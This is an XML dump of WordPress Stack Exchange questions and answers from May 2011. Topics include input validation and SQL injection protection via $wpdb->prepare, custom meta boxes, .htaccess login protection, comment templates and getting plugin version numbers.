  <row Id="18242" PostTypeId="1" AcceptedAnswerId="18246" CreationDate="2011-05-25T15:12:07.537" Score="2" ViewCount="71" Body="&lt;p&gt;I'm using Wordpress as CMS and have a checkout page where info is inserted into the db using $wpdb-&gt;insert.  I have 2 questions:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is 'sql injection' already a part of that function or do I need to add my own code?  &lt;/li&gt;&#xA;&lt;li&gt;Are there wordpress form input validation functions that I can use on my custom form?    &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5416" LastActivityDate="2011-05-25T15:40:59.337" Title="Data Validation" Tags="&lt;validation&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="18243" PostTypeId="2" ParentId="18242" CreationDate="2011-05-25T15:24:23.793" Score="2" ViewCount="" Body="&lt;p&gt;The Codex has a really good page about this topic: &lt;a href=&quot;http://codex.wordpress.org/Data_Validation&quot; rel=&quot;nofollow&quot;&gt;Data Validation&lt;/a&gt;. There isn’t much to add. :)&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-25T15:24:23.793" />
  <row Id="18244" PostTypeId="2" ParentId="18209" CreationDate="2011-05-25T15:31:19.670" Score="3" ViewCount="" Body="&lt;p&gt;you can create your own meta box with a checkbox and only select posts that where checked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add metabox code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Define the custom box */&#xA;add_action( 'add_meta_boxes', 'my_slider_add_custom_box' );&#xA;&#xA;/* Do something with the data entered */&#xA;add_action( 'save_post', 'my_slider_save_postdata' );&#xA;&#xA;/* Adds a box to the main column on the Post and Page edit screens */&#xA;function my_slider_add_custom_box() {&#xA;    add_meta_box( &#xA;        'my_slider_sectionid',&#xA;        __( 'my slider', 'my_slider_textdomain' ),&#xA;        'my_slider_inner_custom_box',&#xA;        'post' &#xA;    );&#xA;}&#xA;&#xA;/* Prints the box content */&#xA;function my_slider_inner_custom_box() {&#xA;    $global $post;&#xA;    // Use nonce for verification&#xA;    wp_nonce_field( plugin_basename( __FILE__ ), 'my_slider_noncename' );&#xA;    $saved = get_post_meta($post-&amp;gt;ID,'my_slider_field',true);&#xA;    // The actual fields for data entry&#xA;    echo '&amp;lt;label for=&quot;my_slider_field&quot;&amp;gt;';&#xA;       _e(&quot;Check the box if you want this post to show in the slider&quot;, 'myplugin_textdomain' );&#xA;    echo '&amp;lt;/label&amp;gt; ';&#xA;    echo '&amp;lt;input type=&quot;checkbox&quot; id=&quot;my_slider_field&quot; name=&quot;my_slider_field&quot; value=&quot;yes&quot;'&#xA;    echo  ($saved) ? 'checked': '';&#xA;    echo '/&amp;gt;';&#xA;}&#xA;&#xA;/* When the post is saved, saves our custom data */&#xA;function my_slider_save_postdata( $post_id ) {&#xA;      // verify if this is an auto save routine. &#xA;      // If it is our form has not been submitted, so we dont want to do anything&#xA;      if ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;          return;&#xA;&#xA;      // verify this came from the our screen and with proper authorization,&#xA;      // because save_post can be triggered at other times&#xA;&#xA;      if ( !wp_verify_nonce( $_POST['my_slider_noncename'], plugin_basename( __FILE__ ) ) )&#xA;          return;&#xA;&#xA;      // OK, we're authenticated: we need to find and save the data&#xA;        $old = get_post_meta($post-&amp;gt;ID,'my_slider_field',true);&#xA;      if (isset($_POST['my_slider_field']) &amp;amp;&amp;amp; $_POST['my_slider_field'] == &quot;YES&quot;){&#xA;            update_post_meta($post_id,'my_slider_field',true);&#xA;      }else{&#xA;        if (!empty($old)){&#xA;            delete_post_meta($post_id,'my_slider_field');&#xA;        }&#xA;      }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;query posts that were checked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'posts_per_page' =&amp;gt; -1&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'my_slider_field',&#xA;            'value' =&amp;gt; true&#xA;        )&#xA;    );&#xA;$slider_query = new WP_Query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-25T15:31:19.670" />
  <row Id="18245" PostTypeId="1" AcceptedAnswerId="19035" CreationDate="2011-05-25T15:36:21.290" Score="0" ViewCount="51" Body="&lt;p&gt;On my new site i am displaying most of the images instead of text. I show images for recently written, recently viewed, mostly viewed posts etc. I found that in 40% of cases posts are same. so i need not to hit the DB to extract the image. It can save number of hits to Db &amp;amp; processing time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I intially thought to cache post IDs. So before querying to DB or processing contents to extract image, i can search for post id into cache. If post id found in cache then i can directly show image from disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that there are many of the plugins who cache DB queries and their result. I am using wp-total cache. Please tell me whether it can fulfill my requirement or i should write my own logic&lt;/p&gt;&#xA;" OwnerUserId="958" LastActivityDate="2011-06-02T12:30:48.130" Title="Cache DB queries result" Tags="&lt;images&gt;&lt;query&gt;&lt;cache&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" />
  <row Id="18246" PostTypeId="2" ParentId="18242" CreationDate="2011-05-25T15:40:59.337" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is 'sql injection' already a part of that function or do I need to add my own code? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When inserting input to the database you should use &lt;code&gt;prepare&lt;/code&gt; method of WPDB class which supports both a &lt;code&gt;sprintf()&lt;/code&gt; - like and &lt;code&gt;vsprintf()&lt;/code&gt; -like syntax. &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/wpdb#Protect_Queries_Against_SQL_Injection_Attacks&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;read more at the codex&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there wordpress form input validation functions that I can use on my custom form? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes there are many and they are covered in &lt;a href=&quot;http://codex.wordpress.org/Data_Validation&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Data Validation&lt;/strong&gt;&lt;/a&gt; codex entry like toscho pointed out.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-25T15:40:59.337" />
  <row Id="18247" PostTypeId="2" ParentId="17815" CreationDate="2011-05-25T16:01:10.767" Score="0" ViewCount="" Body="&lt;p&gt;After no solution from the community :-/ and days of reviewing it over and over I determined I simply had to change a 2 to a 0 for unlimited depth, and now it works perfectly!&lt;/p&gt;&#xA;" OwnerUserId="5465" LastActivityDate="2011-05-25T16:01:10.767" />
  <row Id="18248" PostTypeId="1" CreationDate="2011-05-25T16:11:29.450" Score="0" ViewCount="49" Body="&lt;p&gt;I am trying to remove html character codes (like &lt;code&gt;&amp;amp;#8217;&lt;/code&gt;) from post titles in a wxr file. But when I add the second line below to parsers.php, importations hang and do not go through. They load perpetually after pressing Upload file and import.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_title = $this-&amp;gt;get_tag( $post, 'title' );&#xA;$post_title = html_entity_decode($post_title);  //I added this&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is this happening? It works when I do str_replace in the same place, so what's the problem with html_entity_decode?&lt;/p&gt;&#xA;" OwnerUserId="3564" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-25T21:47:11.117" LastActivityDate="2011-05-25T21:47:11.117" Title="Adding html_entity_decode to the Wordpress Importer makes it hang. Why?" Tags="&lt;php&gt;&lt;import&gt;" CommentCount="7" />
  <row Id="18249" PostTypeId="1" CreationDate="2011-05-25T09:13:42.913" Score="0" ViewCount="80" Body="&lt;p&gt;I have a Wordpress blog and i want to protect the login page with Apache Authentication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://www.askapache.com/htaccess/apache-authentication-in-htaccess.html&quot; rel=&quot;nofollow&quot;&gt;http://www.askapache.com/htaccess/apache-authentication-in-htaccess.html&lt;/a&gt; this is the code i put on my .htaccess placed on the root of my website:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Files wp-login.php&amp;gt;&#xA;Order deny,allow&#xA;Deny from all&#xA;AuthType Basic&#xA;AuthName &quot;bliah blah&quot;&#xA;AuthUserFile /home/mhd/mysitedirectory/htdocs/protlogin/.htpasswd&#xA;Require valid-user&#xA;&amp;lt;/Files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when i visit the Wordpress login page it simple show a page of my web hosting &lt;a href=&quot;http://img191.imageshack.us/img191/7165/loginee.jpg&quot; rel=&quot;nofollow&quot;&gt;http://img191.imageshack.us/img191/7165/loginee.jpg&lt;/a&gt; instead of prompting for authentication and then go to login page if successfull.&lt;/p&gt;&#xA;" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-25T17:14:48.077" LastActivityDate="2011-08-25T21:34:53.223" Title="htaccess single file protection doesn't work" Tags="&lt;apache&gt;&lt;htaccess&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="18250" PostTypeId="1" AcceptedAnswerId="18265" CreationDate="2011-05-25T16:50:48.930" Score="0" ViewCount="48" Body="&lt;p&gt;I'm familiar with this method...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update TABLE_NAME set FIELD_NAME = replace(FIELD_NAME, ‘find this string’, ‘replace found string with this string’);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is, I'm trying to do this to all tables (or select tables), but need the replace to hit all columns for the table in question. Currently, the only way I've found for a table with 20 columns is to repeat this query 20 times. Once for each column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to simply apply the search replace on the table rather than column?&lt;/p&gt;&#xA;" OwnerUserId="5449" LastActivityDate="2011-05-25T18:41:06.917" Title="Global MySQL replacing of text patterns/matches" Tags="&lt;mysql&gt;&lt;replace&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18251" PostTypeId="1" CreationDate="2011-05-25T16:56:06.203" Score="0" ViewCount="14" Body="&lt;p&gt;Hi I am developing a theme options page and I need to put code into one of the options. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;iframe width='300' height='250' frameborder='0' scrolling='no'&#xA;marginheight='0' marginwidth='0' src=&quot;http://mysite.com&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Problem is when I enter that and save the options I get backslashes inserted before every quotation mark. How can I avoid that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;iframe width=\'300\' height=\'250\' frameborder=\'0\' scrolling=\'no\'&#xA;marginheight=\'0\' marginwidth=\'0\' src=\&quot;http://www.mysite.com\&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5317" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-25T21:00:41.620" LastActivityDate="2011-05-25T21:00:41.620" Title="Theme options backslashes inserted" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;theme-options&gt;" CommentCount="1" />
  <row Id="18252" PostTypeId="2" ParentId="18211" CreationDate="2011-05-25T16:58:53.877" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function disable_our_feeds() {&#xA;    wp_die( __('&amp;lt;strong&amp;gt;Error:&amp;lt;/strong&amp;gt; No RSS Feed Available, Please visit our &amp;lt;a href=&quot;'. get_bloginfo('url') .'&quot;&amp;gt;homepage&amp;lt;/a&amp;gt;.') );&#xA;}&#xA;&#xA;add_action('do_feed_atom', 'disable_our_feeds', 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-05-25T16:58:53.877" />
  <row Id="18253" PostTypeId="2" ParentId="18249" CreationDate="2011-05-25T16:59:50.633" Score="0" ViewCount="" Body="&lt;p&gt;Here is just a basic .htaccess file that was generated&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AuthName &quot;Restricted Area&quot; &#xA;AuthType Basic &#xA;AuthUserFile /home/mysite/.htpasswd/.htpasswd &#xA;AuthGroupFile /dev/null &#xA;&amp;lt;Files wp-login.php&amp;gt;&#xA;require valid-user&#xA;&amp;lt;/Files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-25T16:59:50.633" />
  <row Id="18256" PostTypeId="1" CreationDate="2011-05-25T17:34:40.300" Score="0" ViewCount="44" Body="&lt;p&gt;Hi:&#xA;I have been using the comments.php, comments-popup.php, single.php and loop from the Kubrick theme to create my blog functionality in themes I build from scratch. But with WP 3.0 there's a new approach and I can't quite get it to work. From what I've gathered I have the loop in the index.php, loop with some additional code in the single.php, a category.php, and in the comments.php all there should be is one line of code:&#xA;&lt;code&gt;&amp;lt;?php comment_form(); ?&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the server there's a wp-comments.php page with what appears to be the various parameters that can be adjusted - though how to do that is another question. But my first question is: what exact templates and code are needed to get basic fully functioning comments? Do I have to add anything to the functions.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I almost got there but I couldn't get comments to actually appear on a page. I had the ability to enter comments working, and the comments would come into the admin, and the live page itself would have a link: 1 comment. But clicking the link took me nowhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the loops etc. from this article: &lt;a href=&quot;http://www.onextrapixel.com/2011/03/08/how-to-code-a-wordpress-3-0-theme-from-scratch/&quot; rel=&quot;nofollow&quot;&gt;http://www.onextrapixel.com/2011/03/08/how-to-code-a-wordpress-3-0-theme-from-scratch/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone enumerate the specific steps to make the new approach work? I'm an HTML/CSS person who understands a little php but not a lot. I'm trying to grasp the relationship between all the pieces/parts needed to make the comments work with the new approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any help!&lt;/p&gt;&#xA;" OwnerUserId="5686" LastActivityDate="2011-05-25T20:17:40.727" Title="What templates/funtions needed in custom theme to allow comments the new 3.0 way" Tags="&lt;comments&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18257" PostTypeId="1" AcceptedAnswerId="18261" CreationDate="2011-05-25T17:42:34.227" Score="-1" ViewCount="51" Body="&lt;p&gt;Was asked to simplify the question. Here we go:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you know, the &quot;content&quot; part of a WordPress posts all appears together. What I'm trying to recreate is how on several news sites, they'll have the title (and the rest of the &quot;meta&quot; stuff), followed by a photo or video, but then the body text is slightly indented either from the get-go (or shortly thereafter) to make room for a thin, left column that might display related stories, advertisements, additional meta data about the post itself, or even contain videos for the post itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.cnn.com/2011/US/05/24/nasa.new.spacecraft/index.html?hpt=T1&quot; rel=&quot;nofollow&quot;&gt;http://www.cnn.com/2011/US/05/24/nasa.new.spacecraft/index.html?hpt=T1&lt;/a&gt;&lt;br&gt;&#xA;- story highlights, related topics. Image and caption take up full width, but the highlights column indents body text.&lt;br&gt;&#xA;&lt;a href=&quot;http://www.chicagotribune.com/news/local/breaking/chibrknews-blagojevich-to-take-the-stand-20110524,0,6202649.story&quot; rel=&quot;nofollow&quot;&gt;http://www.chicagotribune.com/news/local/breaking/chibrknews-blagojevich-to-take-the-stand-20110524,0,6202649.story&lt;/a&gt;&lt;br&gt;&#xA;- related articles, related topics, ads. Unlike the CNN example, the column actually starts partway through the body text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My dilemma is that since the photo or video that starts each post is part of the &quot;content,&quot; I can't indent the text and put in the column unless I were to do that manually for each post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've contemplated making a custom field for the image or video input to essentially &quot;separate&quot; it from the body text, but that might prove difficult, since I don't know how it would differentiate between an image URL and a YouTube URL or embed code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any better ideas?&lt;/p&gt;&#xA;" OwnerUserId="2256" LastEditorUserId="2256" LastEditorDisplayName="" LastEditDate="2011-05-25T18:04:51.563" LastActivityDate="2011-05-25T18:13:50.400" Title="How to insert a column (part of theme) in the middle of the content body?" Tags="&lt;themes&gt;&lt;image&gt;&lt;videos&gt;&lt;columns&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="18258" PostTypeId="2" ParentId="18068" CreationDate="2011-05-25T17:46:43.600" Score="0" ViewCount="" Body="&lt;p&gt;You cannot assign custom fields to categories, but you can with Custom Post Types. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a very good &lt;a href=&quot;http://justintadlock.com/archives/2010/04/29/custom-post-types-in-wordpress&quot; rel=&quot;nofollow&quot;&gt;tutorial on setting up your custom post types&lt;/a&gt;. Or, &lt;a href=&quot;http://www.wpbeginner.com/wp-tutorials/how-to-use-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; shows you how to use a plugin if you don't want to do any coding. &lt;/p&gt;&#xA;" OwnerUserId="4675" LastActivityDate="2011-05-25T17:46:43.600" CommentCount="3" />
  <row Id="18259" PostTypeId="1" CreationDate="2011-05-25T17:50:18.947" Score="0" ViewCount="42" Body="&lt;p&gt;On Yoast seo, when you create a new page it gives you the ability to alter titles, etc. This is added by the yoast module.&#xA;I am writing a plugin, that can have other things attaching to a post. How can I modify the admin panel to add these new option?&#xA;Thanks&#xA;John&lt;/p&gt;&#xA;" OwnerUserId="5688" LastActivityDate="2011-05-25T20:49:26.803" Title="How to add custom options for plugin into the add post screen - like yoast seo" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18260" PostTypeId="2" ParentId="18256" CreationDate="2011-05-25T17:50:46.107" Score="1" ViewCount="" Body="&lt;p&gt;Just download twentyten and see how it works, it's relatively simple to use it as an example. Nothing needs to go into functions.php for comments to work. You can use custom callbacks in there if you wish, but just a few template tags get the comments going&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is what goes into your single.php, page.php etc to disply the form.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comments_template&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/comments_template&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;?php comments_popup_link('No comments yet', '1 comment so far', &#xA;'% comments so far (is that a lot?)', 'comments-link', 'Comments are &#xA;off for this post'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is great for index.php&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comments_popup_link&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/comments_popup_link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then within comments.php, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_comments&quot; rel=&quot;nofollow&quot;&gt;wp_list_comments&lt;/a&gt; displays the comments, and yes,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php comment_form(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is what displays the actual form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;a href=&quot;http://devpress.com/blog/using-the-wordpress-comment-form/&quot; rel=&quot;nofollow&quot;&gt;like this article&lt;/a&gt; for usage of the comment form&lt;/p&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="3429" LastEditorDisplayName="" LastEditDate="2011-05-25T20:17:40.727" LastActivityDate="2011-05-25T20:17:40.727" CommentCount="3" />
  <row Id="18261" PostTypeId="2" ParentId="18257" CreationDate="2011-05-25T18:13:50.400" Score="1" ViewCount="" Body="&lt;p&gt;a few ideas-&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;shortcodes&lt;/a&gt; to insert inline markup with your content.&lt;/li&gt;&#xA;&lt;li&gt;use custom fields to insert inline markup with your content. if you don't want to deal with parsing out the URL to figure out if it's an image, youtube, etc., just define different custom field names and handle them individually if they exist.&lt;/li&gt;&#xA;&lt;li&gt;read up on &lt;a href=&quot;http://www.w3schools.com/css/css_float.asp&quot; rel=&quot;nofollow&quot;&gt;&quot;floating&quot;&lt;/a&gt; and positioning elements with html and css. you may be able to achieve the layout you want with just front-end markup changes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-25T18:13:50.400" />
  <row Id="18262" PostTypeId="2" ParentId="18235" CreationDate="2011-05-25T18:23:56.420" Score="0" ViewCount="" Body="&lt;p&gt;Based on the comment discussion in the question, I believe we have an answer to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Saving the readme.txt file with &lt;strong&gt;Unicode-8 (UTF-8)&lt;/strong&gt; encoding seems to correct the 'Last Updated' problem.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-05-25T18:23:56.420" />
  <row Id="18263" PostTypeId="2" ParentId="18249" CreationDate="2011-05-25T18:31:17.790" Score="0" ViewCount="" Body="&lt;p&gt;Did you create your .htpassword file and place the username/password in it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Username and password pairs are placed into .htpassword like &lt;code&gt;username:password&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-05-25T18:31:17.790" />
  <row Id="18265" PostTypeId="2" ParentId="18250" CreationDate="2011-05-25T18:41:06.917" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried the search and replace plugin? it will allow you to select particular tables:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/search-and-replace/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search-and-replace/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course use it with caution. etc.&lt;/p&gt;&#xA;" OwnerUserId="5149" LastActivityDate="2011-05-25T18:41:06.917" CommentCount="2" />
  <row Id="18266" PostTypeId="1" AcceptedAnswerId="18272" CreationDate="2011-05-25T19:10:55.193" Score="0" ViewCount="96" Body="&lt;p&gt;I want to set up a basic 'post rating' system for my site - I don't want to use a plugin - so I want to add the custom field 'rating' to each new custom post and populate this field with the number 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? Or am I going about this the wrong way? Did a lot of searching a found not much, &lt;code&gt;add_post_meta()&lt;/code&gt; ? I'm not sure where that would go.&lt;/p&gt;&#xA;" OwnerUserId="4675" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-25T19:17:10.560" LastActivityDate="2011-05-25T20:44:29.130" Title="Populate Custom Fields in a Custom Post Type?" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;metabox&gt;&lt;post-meta&gt;" AnswerCount="1" />
  <row Id="18267" PostTypeId="2" ParentId="2003" CreationDate="2011-05-25T19:38:53.757" Score="0" ViewCount="" Body="&lt;p&gt;Howdy, thanks to this question (and no thanks to the author of the W3TC plugin -which is a great plugin), I was able to implement a more generic version of this capability in &lt;a href=&quot;http://wordpress.org/extend/plugins/bmlt-wordpress-satellite-plugin/&quot; rel=&quot;nofollow&quot;&gt;my plugin&lt;/a&gt; (It starts with Version 2.1.16, so you need to play with the version of your installed plugin to see it). You can see it in &lt;a href=&quot;http://plugins.svn.wordpress.org/bmlt-wordpress-satellite-plugin/tags/2.1.16/bmlt-wordpress-satellite-plugin.php&quot; rel=&quot;nofollow&quot;&gt;this file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The callback is near the end, and is called &quot;in_plugin_update_message()&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a wee bit clunkier than I'd like, so I'll be asking a different question.&lt;/p&gt;&#xA;" OwnerUserId="5639" LastActivityDate="2011-05-25T19:38:53.757" />
  <row Id="18268" PostTypeId="1" CreationDate="2011-05-25T19:45:28.757" Score="1" ViewCount="39" Body="&lt;p&gt;Howdy, I recently cribbed W3TC to implement an &quot;in-update&quot; changelist display (very cool), in &lt;a href=&quot;http://wordpress.org/extend/plugins/bmlt-wordpress-satellite-plugin/&quot; rel=&quot;nofollow&quot;&gt;my plugin&lt;/a&gt;, but there's an awkward bit of code I'd prefer to avoid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the top of &lt;a href=&quot;http://plugins.svn.wordpress.org/bmlt-wordpress-satellite-plugin/tags/2.1.16/bmlt-wordpress-satellite-plugin.php&quot; rel=&quot;nofollow&quot;&gt;this file&lt;/a&gt;, you'll see the following code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;define ( 'BMLT_CURRENT_VERSION', '2.1.16' );    // This needs to be kept in synch with the version above.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ick. :P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That needs to be kept up to date, so the function can delta between your plugin, and the current stable version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have perused the Codex, and can't find it, but there has &lt;strong&gt;GOT&lt;/strong&gt; to be an API function for getting the version of a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues?&lt;/p&gt;&#xA;" OwnerUserId="5639" LastActivityDate="2011-05-25T20:18:18.987" Title="I Want to Get A Plugin Version Number Dynamically" Tags="&lt;plugins&gt;&lt;api&gt;&lt;version&gt;" AnswerCount="2" />
  <row Id="18269" PostTypeId="2" ParentId="18268" CreationDate="2011-05-25T19:59:53.473" Score="1" ViewCount="" Body="&lt;p&gt;Here is an answer with some code that will do what you want it to do:  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/361/is-there-a-way-for-a-plug-in-to-get-its-own-version-number/371#371&quot;&gt;Is there a way for a plug-in to get it&amp;#39;s own version number?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-05-25T19:59:53.473" CommentCount="1" />
  <row Id="18270" PostTypeId="2" ParentId="18268" CreationDate="2011-05-25T20:18:18.987" Score="1" ViewCount="" Body="&lt;p&gt;There is a function called &lt;a href=&quot;http://xref.yoast.com/trunk/wp-admin/includes/plugin.php.html#get_plugin_data&quot; rel=&quot;nofollow&quot;&gt;get_plugin_data()&lt;/a&gt;. Try calling this from within the main plugin file if you need to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$plugin_data = get_plugin_data( __FILE__ );&#xA;$plugin_version = $plugin_data['Version'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But as is said in the answers to the other question, its better for performance to just define a PHP variable as you're doing. &lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-05-25T20:18:18.987" CommentCount="1" />
  <row Id="18271" PostTypeId="1" CreationDate="2011-05-25T20:29:37.860" Score="0" ViewCount="37" Body="&lt;p&gt;I'm using the standard WordPress Archives widget in dropdown mode on my blog. But apparently the Microsoft Bing spider gets confused by it, because the dropdown code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;archive-dropdown&quot; onchange='document.location.href=this.options[this.selectedIndex].value;'&amp;gt;&#xA;... &amp;lt;option/&amp;gt; ... &amp;lt;/option&amp;gt; ... &amp;lt;/option&amp;gt; ...&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the Redirection plugin, it shows a ton of 404 errors due to a spider from Redmond pinging darn near every page and post on my site asking for a &quot;this.options[this.selectedIndex].value;&quot; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to fix this problem? Should I use a different widget? Is there a way to tell the spider to knock it off? (To be clear: I do want my pages indexed, but I don't want to deal with a with all the 404 issues)&lt;/p&gt;&#xA;" OwnerUserId="3399" LastActivityDate="2011-05-25T20:56:28.783" Title="WordPress archives widget causes Bing bot 404 errors" Tags="&lt;widgets&gt;&lt;archive&gt;&lt;404-error&gt;" AnswerCount="1" />
